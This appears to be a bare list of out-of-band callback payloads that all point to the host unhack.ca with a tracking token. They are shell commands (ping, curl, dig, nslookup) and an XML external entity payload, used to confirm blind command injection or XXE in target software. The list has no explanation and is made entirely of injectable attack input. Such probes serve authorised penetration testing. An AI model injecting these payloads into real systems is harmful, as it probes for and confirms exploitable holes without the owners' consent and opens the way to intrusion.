$ ping -c1 -p 00b887fd42a9a5aeb2241f3358795200 unhack.ca
$ curl http://unhack.ca/p/b887fd42a9a5aeb2241f33587952
$ dig b887fd42a9a5aeb2241f33587952 @unhack.ca
$ dig b887fd42a9a5aeb2241f33587952.ns.unhack.ca
C:\> nslookup b887fd42a9a5aeb2241f33587952 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/b887fd42a9a5aeb2241f33587952">]> <foo>&xxe;</foo>